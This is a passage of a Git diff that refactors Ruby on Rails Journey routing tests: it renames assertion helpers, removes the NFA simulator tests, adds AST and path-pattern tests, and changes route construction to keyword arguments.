         end
 
-        if system("dot -V 2>/dev/null")
+        if system("dot -V", 2 => File::NULL)
           def test_to_svg
             table = tt %w{
               /articles(.:format)
@@ -35,25 +37,25 @@ def test_to_svg
 
         def test_simulate_gt
           sim = simulator_for ["/foo", "/bar"]
-          assert_match sim, "/foo"
+          assert_match_route sim, "/foo"
         end
 
         def test_simulate_gt_regexp
           sim = simulator_for [":foo"]
-          assert_match sim, "foo"
+          assert_match_route sim, "foo"
         end
 
         def test_simulate_gt_regexp_mix
           sim = simulator_for ["/get", "/:method/foo"]
-          assert_match sim, "/get"
-          assert_match sim, "/get/foo"
+          assert_match_route sim, "/get"
+          assert_match_route sim, "/get/foo"
         end
 
         def test_simulate_optional
           sim = simulator_for ["/foo(/bar)"]
-          assert_match sim, "/foo"
-          assert_match sim, "/foo/bar"
-          assert_no_match sim, "/foo/"
+          assert_match_route sim, "/foo"
+          assert_match_route sim, "/foo/bar"
+          assert_no_match_route sim, "/foo/"
         end
 
         def test_match_data
@@ -65,11 +67,11 @@ def test_match_data
 
           sim = GTG::Simulator.new tt
 
-          match = sim.match "/get"
-          assert_equal [paths.first], match.memos
+          memos = sim.memos "/get"
+          assert_equal [paths.first], memos
 
-          match = sim.match "/get/foo"
-          assert_equal [paths.last], match.memos
+          memos = sim.memos "/get/foo"
+          assert_equal [paths.last], memos
         end
 
         def test_match_data_ambiguous
@@ -86,8 +88,8 @@ def test_match_data_ambiguous
           builder = GTG::Builder.new ast
           sim     = GTG::Simulator.new builder.transition_table
 
-          match = sim.match "/articles/new"
-          assert_equal [paths[1], paths[3]], match.memos
+          memos = sim.memos "/articles/new"
+          assert_equal Set[paths[1], paths[3]], Set.new(memos)
         end
 
         private
@@ -109,6 +111,14 @@ def tt(paths)
           def simulator_for(paths)
             GTG::Simulator.new tt(paths)
           end
+
+          def assert_match_route(simulator, path)
+            assert simulator.memos(path), "Simulator should match #{path}."
+          end
+
+          def assert_no_match_route(simulator, path)
+            assert_not simulator.memos(path) { nil }, "Simulator should not match #{path}."
+          end
       end
     end
   end
diff --git a/actionpack/test/journey/nfa/simulator_test.rb b/actionpack/test/journey/nfa/simulator_test.rb
deleted file mode 100644
index 38f99398cb889..0000000000000
--- a/actionpack/test/journey/nfa/simulator_test.rb
+++ /dev/null
@@ -1,98 +0,0 @@
-require "abstract_unit"
-
-module ActionDispatch
-  module Journey
-    module NFA
-      class TestSimulator < ActiveSupport::TestCase
-        def test_simulate_simple
-          sim = simulator_for ["/foo"]
-          assert_match sim, "/foo"
-        end
-
-        def test_simulate_simple_no_match
-          sim = simulator_for ["/foo"]
-          assert_no_match sim, "foo"
-        end
-
-        def test_simulate_simple_no_match_too_long
-          sim = simulator_for ["/foo"]
-          assert_no_match sim, "/foo/bar"
-        end
-
-        def test_simulate_simple_no_match_wrong_string
-          sim = simulator_for ["/foo"]
-          assert_no_match sim, "/bar"
-        end
-
-        def test_simulate_regex
-          sim = simulator_for ["/:foo/bar"]
-          assert_match sim, "/bar/bar"
-          assert_match sim, "/foo/bar"
-        end
-
-        def test_simulate_or
-          sim = simulator_for ["/foo", "/bar"]
-          assert_match sim, "/bar"
-          assert_match sim, "/foo"
-          assert_no_match sim, "/baz"
-        end
-
-        def test_simulate_optional
-          sim = simulator_for ["/foo(/bar)"]
-          assert_match sim, "/foo"
-          assert_match sim, "/foo/bar"
-          assert_no_match sim, "/foo/"
-        end
-
-        def test_matchdata_has_memos
-          paths   = %w{ /foo /bar }
-          parser  = Journey::Parser.new
-          asts    = paths.map { |x|
-            ast = parser.parse x
-            ast.each { |n| n.memo = ast }
-            ast
-          }
-
-          expected = asts.first
-
-          builder = Builder.new Nodes::Or.new asts
-
-          sim = Simulator.new builder.transition_table
-
-          md = sim.match "/foo"
-          assert_equal [expected], md.memos
-        end
-
-        def test_matchdata_memos_on_merge
-          parser = Journey::Parser.new
-          routes = [
-            "/articles(.:format)",
-            "/articles/new(.:format)",
-            "/articles/:id/edit(.:format)",
-            "/articles/:id(.:format)",
-          ].map { |path|
-            ast = parser.parse path
-            ast.each { |n| n.memo = ast }
-            ast
-          }
-
-          asts = routes.dup
-
-          ast = Nodes::Or.new routes
-
-          nfa = Journey::NFA::Builder.new ast
-          sim = Simulator.new nfa.transition_table
-          md = sim.match "/articles"
-          assert_equal [asts.first], md.memos
-        end
-
-        def simulator_for(paths)
-          parser  = Journey::Parser.new
-          asts    = paths.map { |x| parser.parse x }
-          builder = Builder.new Nodes::Or.new asts
-          Simulator.new builder.transition_table
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/test/journey/nfa/transition_table_test.rb b/actionpack/test/journey/nfa/transition_table_test.rb
deleted file mode 100644
index 0bc6bc1cf81b1..0000000000000
--- a/actionpack/test/journey/nfa/transition_table_test.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-require "abstract_unit"
-
-module ActionDispatch
-  module Journey
-    module NFA
-      class TestTransitionTable < ActiveSupport::TestCase
-        def setup
-          @parser = Journey::Parser.new
-        end
-
-        def test_eclosure
-          table = tt "/"
-          assert_equal [0], table.eclosure(0)
-
-          table = tt ":a|:b"
-          assert_equal 3, table.eclosure(0).length
-
-          table = tt "(:a|:b)"
-          assert_equal 5, table.eclosure(0).length
-          assert_equal 5, table.eclosure([0]).length
-        end
-
-        def test_following_states_one
-          table = tt "/"
-
-          assert_equal [1], table.following_states(0, "/")
-          assert_equal [1], table.following_states([0], "/")
-        end
-
-        def test_following_states_group
-          table  = tt "a|b"
-          states = table.eclosure 0
-
-          assert_equal 1, table.following_states(states, "a").length
-          assert_equal 1, table.following_states(states, "b").length
-        end
-
-        def test_following_states_multi
-          table  = tt "a|a"
-          states = table.eclosure 0
-
-          assert_equal 2, table.following_states(states, "a").length
-          assert_equal 0, table.following_states(states, "b").length
-        end
-
-        def test_following_states_regexp
-          table  = tt "a|:a"
-          states = table.eclosure 0
-
-          assert_equal 1, table.following_states(states, "a").length
-          assert_equal 1, table.following_states(states, /[^\.\/\?]+/).length
-          assert_equal 0, table.following_states(states, "b").length
-        end
-
-        def test_alphabet
-          table = tt "a|:a"
-          assert_equal [/[^\.\/\?]+/, "a"], table.alphabet
-
-          table = tt "a|a"
-          assert_equal ["a"], table.alphabet
-        end
-
-        private
-          def tt(string)
-            ast     = @parser.parse string
-            builder = Builder.new ast
-            builder.transition_table
-          end
-      end
-    end
-  end
-end
diff --git a/actionpack/test/journey/nodes/ast_test.rb b/actionpack/test/journey/nodes/ast_test.rb
new file mode 100644
index 0000000000000..b809c80b6f8d5
--- /dev/null
+++ b/actionpack/test/journey/nodes/ast_test.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    module Nodes
+      class TestAst < ActiveSupport::TestCase
+        def test_ast_sets_regular_expressions
+          requirements = { name: /(tender|love)/, value: /./ }
+          path = "/page/:name/:value"
+          tree = Journey::Parser.new.parse(path)
+
+          ast = Ast.new(tree, true)
+          ast.requirements = requirements
+
+          nodes = ast.root.grep(Nodes::Symbol)
+          assert_equal 2, nodes.length
+          nodes.each do |node|
+            assert_equal requirements[node.to_sym], node.regexp
+          end
+        end
+
+        def test_sets_memo_for_terminal_nodes
+          route = Object.new
+          tree = Journey::Parser.new.parse("/path")
+
+          ast = Ast.new(tree, true)
+          ast.route = route
+
+          nodes = ast.root.grep(Nodes::Terminal)
+          nodes.each do |node|
+            assert_equal route, node.memo
+          end
+        end
+
+        def test_contains_glob
+          tree = Journey::Parser.new.parse("/*glob")
+          ast = Ast.new(tree, true)
+
+          assert_predicate ast, :glob?
+        end
+
+        def test_does_not_contain_glob
+          tree = Journey::Parser.new.parse("/")
+          ast = Ast.new(tree, true)
+
+          assert_not_predicate ast, :glob?
+        end
+
+        def test_names
+          tree = Journey::Parser.new.parse("/:path/:symbol")
+          ast = Ast.new(tree, true)
+
+          assert_equal ["path", "symbol"], ast.names
+        end
+
+        def test_path_params
+          tree = Journey::Parser.new.parse("/:path/:symbol")
+          ast = Ast.new(tree, true)
+
+          assert_equal [:path, :symbol], ast.path_params
+        end
+
+        def test_wildcard_options_when_formatted
+          tree = Journey::Parser.new.parse("/*glob")
+          ast = Ast.new(tree, true)
+
+          wildcard_options = ast.wildcard_options
+          assert_equal %r{.+?}m, wildcard_options[:glob]
+        end
+
+        def test_wildcard_options_when_false
+          tree = Journey::Parser.new.parse("/*glob")
+          ast = Ast.new(tree, false)
+
+          wildcard_options = ast.wildcard_options
+          assert_nil wildcard_options[:glob]
+        end
+
+        def test_wildcard_options_when_nil
+          tree = Journey::Parser.new.parse("/*glob")
+          ast = Ast.new(tree, nil)
+
+          wildcard_options = ast.wildcard_options
+          assert_equal %r{.+?}m, wildcard_options[:glob]
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/journey/nodes/symbol_test.rb b/actionpack/test/journey/nodes/symbol_test.rb
index baf60f40b8c14..e69de29bb2d1d 100644
--- a/actionpack/test/journey/nodes/symbol_test.rb
+++ b/actionpack/test/journey/nodes/symbol_test.rb
@@ -1,17 +0,0 @@
-require "abstract_unit"
-
-module ActionDispatch
-  module Journey
-    module Nodes
-      class TestSymbol < ActiveSupport::TestCase
-        def test_default_regexp?
-          sym = Symbol.new "foo"
-          assert sym.default_regexp?
-
-          sym.regexp = nil
-          assert_not sym.default_regexp?
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/test/journey/path/pattern_test.rb b/actionpack/test/journey/path/pattern_test.rb
index 2c746179441dd..bad1ee6acd34f 100644
--- a/actionpack/test/journey/path/pattern_test.rb
+++ b/actionpack/test/journey/path/pattern_test.rb
@@ -1,9 +1,14 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "support/path_helper"
 
 module ActionDispatch
   module Journey
     module Path
       class TestPattern < ActiveSupport::TestCase
+        include PathHelper
+
         SEPARATORS = ["/", ".", "?"].join
 
         x = /.+/
@@ -21,7 +26,7 @@ class TestPattern < ActiveSupport::TestCase
           "/:foo|*bar"                   => %r{\A/(?:([^/.?]+)|(.+))\Z},
         }.each do |path, expected|
           define_method(:"test_to_regexp_#{Regexp.escape(path)}") do
-            path = Pattern.build(
+            path = build_path(
               path,
               { controller: /.+/ },
               SEPARATORS,
@@ -32,20 +37,20 @@ class TestPattern < ActiveSupport::TestCase
         end
 
         {
-          "/:controller(/:action)"       => %r{\A/(#{x})(?:/([^/.?]+))?},
-          "/:controller/foo"             => %r{\A/(#{x})/foo},
-          "/:controller/:action"         => %r{\A/(#{x})/([^/.?]+)},
-          "/:controller"                 => %r{\A/(#{x})},
-          "/:controller(/:action(/:id))" => %r{\A/(#{x})(?:/([^/.?]+)(?:/([^/.?]+))?)?},
-          "/:controller/:action.xml"     => %r{\A/(#{x})/([^/.?]+)\.xml},
-          "/:controller.:format"         => %r{\A/(#{x})\.([^/.?]+)},
-          "/:controller(.:format)"       => %r{\A/(#{x})(?:\.([^/.?]+))?},
-          "/:controller/*foo"            => %r{\A/(#{x})/(.+)},
-          "/:controller/*foo/bar"        => %r{\A/(#{x})/(.+)/bar},
-          "/:foo|*bar"                   => %r{\A/(?:([^/.?]+)|(.+))},
+          "/:controller(/:action)"       => %r{\A/(#{x})(?:/([^/.?]+))?(?:\b|\Z|/)},
+          "/:controller/foo"             => %r{\A/(#{x})/foo(?:\b|\Z|/)},
+          "/:controller/:action"         => %r{\A/(#{x})/([^/.?]+)(?:\b|\Z|/)},
+          "/:controller"                 => %r{\A/(#{x})(?:\b|\Z|/)},
+          "/:controller(/:action(/:id))" => %r{\A/(#{x})(?:/([^/.?]+)(?:/([^/.?]+))?)?(?:\b|\Z|/)},
+          "/:controller/:action.xml"     => %r{\A/(#{x})/([^/.?]+)\.xml(?:\b|\Z|/)},
+          "/:controller.:format"         => %r{\A/(#{x})\.([^/.?]+)(?:\b|\Z|/)},
+          "/:controller(.:format)"       => %r{\A/(#{x})(?:\.([^/.?]+))?(?:\b|\Z|/)},
+          "/:controller/*foo"            => %r{\A/(#{x})/(.+)(?:\b|\Z|/)},
+          "/:controller/*foo/bar"        => %r{\A/(#{x})/(.+)/bar(?:\b|\Z|/)},
+          "/:foo|*bar"                   => %r{\A/(?:([^/.?]+)|(.+))(?:\b|\Z|/)},
         }.each do |path, expected|
           define_method(:"test_to_non_anchored_regexp_#{Regexp.escape(path)}") do
-            path = Pattern.build(
+            path = build_path(
               path,
               { controller: /.+/ },
               SEPARATORS,
@@ -68,7 +73,7 @@ class TestPattern < ActiveSupport::TestCase
           "/:controller/*foo/bar"        => %w{ controller foo },
         }.each do |path, expected|
           define_method(:"test_names_#{Regexp.escape(path)}") do
-            path = Pattern.build(
+            path = build_path(
               path,
               { controller: /.+/ },
               SEPARATORS,
@@ -79,7 +84,7 @@ class TestPattern < ActiveSupport::TestCase
         end
 
         def test_to_regexp_with_extended_group
-          path = Pattern.build(
+          path = build_path(
             "/page/:name",
             { name: /
               #ROFL
@@ -100,13 +105,13 @@ def test_optional_names
             ["/:foo(/:bar)", %w{ bar }],
             ["/:foo(/:bar)/:lol(/:baz)", %w{ bar baz }],
           ].each do |pattern, list|
-            path = Pattern.from_string pattern
+            path = path_from_string pattern
             assert_equal list.sort, path.optional_names.sort
           end
         end
 
         def test_to_regexp_match_non_optional
-          path = Pattern.build(
+          path = build_path(
             "/:name",
             { name: /\d+/ },
             SEPARATORS,
@@ -117,7 +122,7 @@ def test_to_regexp_match_non_optional
         end
 
         def test_to_regexp_with_group
-          path = Pattern.build(
+          path = build_path(
             "/page/:name",
             { name: /(tender|love)/ },
             SEPARATORS,
@@ -128,24 +133,8 @@ def test_to_regexp_with_group
           assert_no_match(path, "/page/loving")
         end
 
-        def test_ast_sets_regular_expressions
-          requirements = { name: /(tender|love)/, value: /./ }
-          path = Pattern.build(
-            "/page/:name/:value",
-            requirements,
-            SEPARATORS,
-            true
-          )
-
-          nodes = path.ast.grep(Nodes::Symbol)
-          assert_equal 2, nodes.length
-          nodes.each do |node|
-            assert_equal requirements[node.to_sym], node.regexp
-          end
-        end
-
         def test_match_data_with_group
-          path = Pattern.build(
+          path = build_path(
             "/page/:name",
             { name: /(tender|love)/ },
             SEPARATORS,
@@ -157,7 +146,7 @@ def test_match_data_with_group
         end
 
         def test_match_data_with_multi_group
-          path = Pattern.build(
+          path = build_path(
             "/page/:name/:id",
             { name: /t(((ender|love)))()/ },
             SEPARATORS,
@@ -172,7 +161,7 @@ def test_match_data_with_multi_group
 
         def test_star_with_custom_re
           z = /\d+/
-          path = Pattern.build(
+          path = build_path(
             "/page/*foo",
             { foo: z },
             SEPARATORS,
@@ -182,7 +171,7 @@ def test_star_with_custom_re
         end
 
         def test_insensitive_regexp_with_group
-          path = Pattern.build(
+          path = build_path(
             "/page/:name/aaron",
             { name: /(tender|love)/i },
             SEPARATORS,
@@ -194,27 +183,27 @@ def test_insensitive_regexp_with_group
         end
 
         def test_to_regexp_with_strexp
-          path = Pattern.build("/:controller", {}, SEPARATORS, true)
+          path = build_path("/:controller", {}, SEPARATORS, true)
           x = %r{\A/([^/.?]+)\Z}
 
           assert_equal(x.source, path.source)
         end
 
         def test_to_regexp_defaults
-          path = Pattern.from_string "/:controller(/:action(/:id))"
+          path = path_from_string "/:controller(/:action(/:id))"
           expected = %r{\A/([^/.?]+)(?:/([^/.?]+)(?:/([^/.?]+))?)?\Z}
           assert_equal expected, path.to_regexp
         end
 
         def test_failed_match
-          path = Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+          path = path_from_string "/:controller(/:action(/:id(.:format)))"
           uri = "content"
 
           assert_not path =~ uri
         end
 
         def test_match_controller
-          path = Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+          path = path_from_string "/:controller(/:action(/:id(.:format)))"
           uri = "/content"
 
           match = path =~ uri
@@ -226,7 +215,7 @@ def test_match_controller
         end
 
         def test_match_controller_action
-          path = Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+          path = path_from_string "/:controller(/:action(/:id(.:format)))"
           uri = "/content/list"
 
           match = path =~ uri
@@ -238,7 +227,7 @@ def test_match_controller_action
         end
 
         def test_match_controller_action_id
-          path = Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+          path = path_from_string "/:controller(/:action(/:id(.:format)))"
           uri = "/content/list/10"
 
           match = path =~ uri
@@ -250,7 +239,7 @@ def test_match_controller_action_id
         end
 
         def test_match_literal
-          path = Path::Pattern.from_string "/books(/:action(.:format))"
+          path = path_from_string "/books(/:action(.:format))"
 
           uri = "/books"
           match = path =~ uri
@@ -260,7 +249,7 @@ def test_match_literal
         end
 
         def test_match_literal_with_action
-          path = Path::Pattern.from_string "/books(/:action(.:format))"
+          path = path_from_string "/books(/:action(.:format))"
 
           uri = "/books/list"
           match = path =~ uri
@@ -270,7 +259,7 @@ def test_match_literal_with_action
         end
 
         def test_match_literal_with_action_and_format
-          path = Path::Pattern.from_string "/books(/:action(.:format))"
+          path = path_from_string "/books(/:action(.:format))"
 
           uri = "/books/list.rss"
           match = path =~ uri
@@ -278,6 +267,46 @@ def test_match_literal_with_action_and_format
           assert_equal "list", match[1]
           assert_equal "rss", match[2]
         end
+
+        def test_named_captures
+          path = path_from_string "/books(/:action(.:format))"
+
+          uri = "/books/list.rss"
+          match = path =~ uri
+          named_captures = { "action" => "list", "format" => "rss" }
+          assert_equal named_captures, match.named_captures
+        end
+
+        def test_requirements_for_missing_keys_check
+          name_regex = /test/
+
+          path = build_path(
+            "/page/:name",
+            { name: name_regex },
+            SEPARATORS,
+            true
+          )
+
+          transformed_regex = path.requirements_for_missing_keys_check[:name]
+          assert_not_nil transformed_regex
+          assert_equal(transformed_regex, /\A#{name_regex}\Z/)
+        end
+
+        def test_requirements_for_missing_keys_check_memoization
+          name_regex = /test/
+
+          path = build_path(
+            "/page/:name",
+            { name: name_regex },
+            SEPARATORS,
+            true
+          )
+
+          first_call = path.requirements_for_missing_keys_check[:name]
+          second_call = path.requirements_for_missing_keys_check[:name]
+
+          assert_equal(first_call.object_id, second_call.object_id)
+        end
       end
     end
   end
diff --git a/actionpack/test/journey/route/definition/parser_test.rb b/actionpack/test/journey/route/definition/parser_test.rb
index 8c6e3c0371eb7..39693198b8eb9 100644
--- a/actionpack/test/journey/route/definition/parser_test.rb
+++ b/actionpack/test/journey/route/definition/parser_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
diff --git a/actionpack/test/journey/route/definition/scanner_test.rb b/actionpack/test/journey/route/definition/scanner_test.rb
index 98578ddbf1cc7..2d0245ca5edb2 100644
--- a/actionpack/test/journey/route/definition/scanner_test.rb
+++ b/actionpack/test/journey/route/definition/scanner_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
@@ -8,61 +10,79 @@ def setup
           @scanner = Scanner.new
         end
 
-        # /page/:id(/:action)(.:format)
-        def test_tokens
-          [
-            ["/",       [[:SLASH, "/"]]],
-            ["*omg",    [[:STAR, "*omg"]]],
-            ["/page",   [[:SLASH, "/"], [:LITERAL, "page"]]],
-            ["/page!",  [[:SLASH, "/"], [:LITERAL, "page!"]]],
-            ["/page$",  [[:SLASH, "/"], [:LITERAL, "page$"]]],
-            ["/page&",  [[:SLASH, "/"], [:LITERAL, "page&"]]],
-            ["/page'",  [[:SLASH, "/"], [:LITERAL, "page'"]]],
-            ["/page*",  [[:SLASH, "/"], [:LITERAL, "page*"]]],
-            ["/page+",  [[:SLASH, "/"], [:LITERAL, "page+"]]],
-            ["/page,",  [[:SLASH, "/"], [:LITERAL, "page,"]]],
-            ["/page;",  [[:SLASH, "/"], [:LITERAL, "page;"]]],
-            ["/page=",  [[:SLASH, "/"], [:LITERAL, "page="]]],
-            ["/page@",  [[:SLASH, "/"], [:LITERAL, "page@"]]],
-            ['/page\:', [[:SLASH, "/"], [:LITERAL, "page:"]]],
-            ['/page\(', [[:SLASH, "/"], [:LITERAL, "page("]]],
-            ['/page\)', [[:SLASH, "/"], [:LITERAL, "page)"]]],
-            ["/~page",  [[:SLASH, "/"], [:LITERAL, "~page"]]],
-            ["/pa-ge",  [[:SLASH, "/"], [:LITERAL, "pa-ge"]]],
-            ["/:page",  [[:SLASH, "/"], [:SYMBOL, ":page"]]],
-            ["/(:page)", [
-                          [:SLASH, "/"],
-                          [:LPAREN, "("],
-                          [:SYMBOL, ":page"],
-                          [:RPAREN, ")"],
-                        ]],
-            ["(/:action)", [
-                            [:LPAREN, "("],
-                            [:SLASH, "/"],
-                            [:SYMBOL, ":action"],
-                            [:RPAREN, ")"],
-                           ]],
-            ["(())", [[:LPAREN, "("],
-                     [:LPAREN, "("], [:RPAREN, ")"], [:RPAREN, ")"]]],
-            ["(.:format)", [
-                            [:LPAREN, "("],
-                            [:DOT, "."],
-                            [:SYMBOL, ":format"],
-                            [:RPAREN, ")"],
+        CASES = [
+          ["/",       [:SLASH]],
+          ["*omg",    [:STAR]],
+          ["/page",   [:SLASH, :LITERAL]],
+          ["/page!",  [:SLASH, :LITERAL]],
+          ["/page$",  [:SLASH, :LITERAL]],
+          ["/page&",  [:SLASH, :LITERAL]],
+          ["/page'",  [:SLASH, :LITERAL]],
+          ["/page*",  [:SLASH, :LITERAL]],
+          ["/page+",  [:SLASH, :LITERAL]],
+          ["/page,",  [:SLASH, :LITERAL]],
+          ["/page;",  [:SLASH, :LITERAL]],
+          ["/page=",  [:SLASH, :LITERAL]],
+          ["/page@",  [:SLASH, :LITERAL]],
+          ['/page\:', [:SLASH, :LITERAL]],
+          ['/page\(', [:SLASH, :LITERAL]],
+          ['/page\)', [:SLASH, :LITERAL]],
+          ["/~page",  [:SLASH, :LITERAL]],
+          ["/pa-ge",  [:SLASH, :LITERAL]],
+          ["/:page",  [:SLASH, :SYMBOL]],
+          ["/:page|*foo", [
+                            :SLASH,
+                            :SYMBOL,
+                            :OR,
+                            :STAR
                           ]],
-          ].each do |str, expected|
-            @scanner.scan_setup str
-            assert_tokens expected, @scanner
+          ["/(:page)", [
+                        :SLASH,
+                        :LPAREN,
+                        :SYMBOL,
+                        :RPAREN,
+                      ]],
+          ["(/:action)", [
+                          :LPAREN,
+                          :SLASH,
+                          :SYMBOL,
+                          :RPAREN,
+                         ]],
+          ["(())", [
+                    :LPAREN,
+                    :LPAREN,
+                    :RPAREN,
+                    :RPAREN,
+                  ]],
+          ["(.:format)", [
+                          :LPAREN,
+                          :DOT,
+                          :SYMBOL,
+                          :RPAREN,
+                        ]],
+          ["/sort::sort", [
+                           :SLASH,
+                           :LITERAL,
+                           :LITERAL,
+                           :SYMBOL
+                         ]],
+        ]
+
+        CASES.each do |pattern, expected_tokens|
+          test "Scanning `#{pattern}`" do
+            @scanner.scan_setup pattern
+            assert_tokens expected_tokens, @scanner, pattern
           end
         end
 
-        def assert_tokens(tokens, scanner)
-          toks = []
-          while tok = scanner.next_token
-            toks << tok
+        private
+          def assert_tokens(expected_tokens, scanner, pattern)
+            actual_tokens = []
+            while token = scanner.next_token
+              actual_tokens << token
+            end
+            assert_equal expected_tokens, actual_tokens, "Wrong tokens for `#{pattern}`"
           end
-          assert_equal tokens, toks
-        end
       end
     end
   end
diff --git a/actionpack/test/journey/route_test.rb b/actionpack/test/journey/route_test.rb
index 8fd73970b87fc..ffcbea30cc754 100644
--- a/actionpack/test/journey/route_test.rb
+++ b/actionpack/test/journey/route_test.rb
@@ -1,13 +1,18 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
+require "support/path_helper"
 
 module ActionDispatch
   module Journey
     class TestRoute < ActiveSupport::TestCase
+      include PathHelper
+
       def test_initialize
         app      = Object.new
-        path     = Path::Pattern.from_string "/:controller(/:action(/:id(.:format)))"
+        path     = path_from_string "/:controller(/:action(/:id(.:format)))"
         defaults = {}
-        route    = Route.build("name", app, path, {}, [], defaults)
+        route    = Route.new(name: "name", app: app, path: path, defaults: defaults)
 
         assert_equal app, route.app
         assert_equal path, route.path
@@ -15,10 +20,9 @@ def test_initialize
       end
 
       def test_route_adds_itself_as_memo
-        app      = Object.new
-        path     = Path::Pattern.from_string "/:controller(/:action(/:id(.:format)))"
-        defaults = {}
-        route    = Route.build("name", app, path, {}, [], defaults)
+        app   = Object.new
+        path  = path_from_string "/:controller(/:action(/:id(.:format)))"
+        route = Route.new(name: "name", app: app, path: path)
 
         route.ast.grep(Nodes::Terminal).each do |node|
           assert_equal route, node.memo
@@ -26,38 +30,39 @@ def test_route_adds_itself_as_memo
       end
 
       def test_path_requirements_override_defaults
-        path = Path::Pattern.build(":name", { name: /love/ }, "/", true)
-        defaults  = { name: "tender" }
-        route     = Route.build("name", nil, path, {}, [], defaults)
+        path     = build_path(":name", { name: /love/ }, "/", true)
+        defaults = { name: "tender" }
+        route    = Route.new(name: "name", path: path, defaults: defaults)
         assert_equal(/love/, route.requirements[:name])
       end
 
       def test_ip_address
-        path  = Path::Pattern.from_string "/messages/:id(.:format)"
-        route = Route.build("name", nil, path, { ip: "192.168.1.1" }, [],
-                          controller: "foo", action: "bar")
+        path  = path_from_string "/messages/:id(.:format)"
+        route = Route.new(name: "name", path: path, constraints: { ip: "192.168.1.1" },
+                          defaults: { controller: "foo", action: "bar" })
         assert_equal "192.168.1.1", route.ip
       end
 
       def test_default_ip
-        path  = Path::Pattern.from_string "/messages/:id(.:format)"
-        route = Route.build("name", nil, path, {}, [],
-                          controller: "foo", action: "bar")
+        path  = path_from_string "/messages/:id(.:format)"
+        route = Route.new(name: "name", path: path,
+                          defaults: { controller: "foo", action: "bar" })
         assert_equal(//, route.ip)
       end
 
       def test_format_with_star
-        path  = Path::Pattern.from_string "/:controller/*extra"
-        route = Route.build("name", nil, path, {}, [],
-                          controller: "foo", action: "bar")
+        path  = path_from_string "/:controller/*extra"
+        route = Route.new(name: "name", path: path,
+                          defaults: { controller: "foo", action: "bar" })
         assert_equal "/foo/himom", route.format(
           controller: "foo",
           extra: "himom")
       end
 
       def test_connects_all_match
-        path  = Path::Pattern.from_string "/:controller(/:action(/:id(.:format)))"
-        route = Route.build("name", nil, path, { action: "bar" }, [], controller: "foo")
+        path  = path_from_string "/:controller(/:action(/:id(.:format)))"
+        route = Route.new(name: "name", path: path, constraints: { action: "bar" },
+                          defaults: { controller: "foo" })
 
         assert_equal "/foo/bar/10", route.format(
           controller: "foo",
@@ -66,35 +71,34 @@ def test_connects_all_match
       end
 
       def test_extras_are_not_included_if_optional
-        path  = Path::Pattern.from_string "/page/:id(/:action)"
-        route = Route.build("name", nil, path, {}, [], action: "show")
+        path  = path_from_string "/page/:id(/:action)"
+        route = Route.new(name: "name", path: path, defaults: { action: "show" })
 
         assert_equal "/page/10", route.format(id: 10)
       end
 
       def test_extras_are_not_included_if_optional_with_parameter
-        path  = Path::Pattern.from_string "(/sections/:section)/pages/:id"
-        route = Route.build("name", nil, path, {}, [], action: "show")
+        path  = path_from_string "(/sections/:section)/pages/:id"
+        route = Route.new(name: "name", path: path, defaults: { action: "show" })
 
         assert_equal "/pages/10", route.format(id: 10)
       end
 
       def test_extras_are_not_included_if_optional_parameter_is_nil
-        path  = Path::Pattern.from_string "(/sections/:section)/pages/:id"
-        route = Route.build("name", nil, path, {}, [], action: "show")
+        path  = path_from_string "(/sections/:section)/pages/:id"
+        route = Route.new(name: "name", path: path, defaults: { action: "show" })
 
         assert_equal "/pages/10", route.format(id: 10, section: nil)
       end
 
       def test_score
-        constraints = {}
         defaults = { controller: "pages", action: "show" }
 
-        path = Path::Pattern.from_string "/page/:id(/:action)(.:format)"
-        specific = Route.build "name", nil, path, constraints, [:controller, :action], defaults
+        path = path_from_string "/page/:id(/:action)(.:format)"
+        specific = Route.new name: "name", path: path, required_defaults: [:controller, :action], defaults: defaults
 
-        path = Path::Pattern.from_string "/:controller(/:action(/:id))(.:format)"
-        generic = Route.build "name", nil, path, constraints, [], {}
+        path = path_from_string "/:controller(/:action(/:id))(.:format)"
+        generic = Route.new name: "name", path: path
 
         knowledge = { "id" => true, "controller" => true, "action" => true }
 
diff --git a/actionpack/test/journey/router/utils_test.rb b/actionpack/test/journey/router/utils_test.rb
index b77bf6628af56..6a77c2f8b7617 100644
--- a/actionpack/test/journey/router/utils_test.rb
+++ b/actionpack/test/journey/router/utils_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module ActionDispatch
@@ -16,12 +18,12 @@ def test_fragment_escape
           assert_equal "a/b%20c+d%25?e", Utils.escape_fragment("a/b c+d%?e")
         end
 
-        def test_uri_unescape
-          assert_equal "a/b c+d", Utils.unescape_uri("a%2Fb%20c+d")
+        def test_CGI_unescapeURIComponent
+          assert_equal "a/b c+d", CGI.unescapeURIComponent("a%2Fb%20c+d")
         end
 
-        def test_uri_unescape_with_utf8_string
-          assert_equal "Šašinková", Utils.unescape_uri("%C5%A0a%C5%A1inkov%C3%A1".force_encoding(Encoding::US_ASCII))
+        def test_CGI_unescapeURIComponent_with_utf8_string
+          assert_equal "Šašinková", CGI.unescapeURIComponent((+"%C5%A0a%C5%A1inkov%C3%A1").force_encoding(Encoding::US_ASCII))
         end
 
         def test_normalize_path_not_greedy
@@ -31,6 +33,15 @@ def test_normalize_path_not_greedy
         def test_normalize_path_uppercase
           assert_equal "/foo%AAbar%AAbaz", Utils.normalize_path("/foo%aabar%aabaz")
         end
+
+        def test_normalize_path_maintains_string_encoding
+          path = "/foo%AAbar%AAbaz".b
+          assert_equal Encoding::BINARY, Utils.normalize_path(path).encoding
+        end
+
+        def test_normalize_path_with_nil
+          assert_equal "/", Utils.normalize_path(nil)
+        end
       end
     end
   end
diff --git a/actionpack/test/journey/router_test.rb b/actionpack/test/journey/router_test.rb
index f223a125a3129..cbe335cdbe7c3 100644
--- a/actionpack/test/journey/router_test.rb
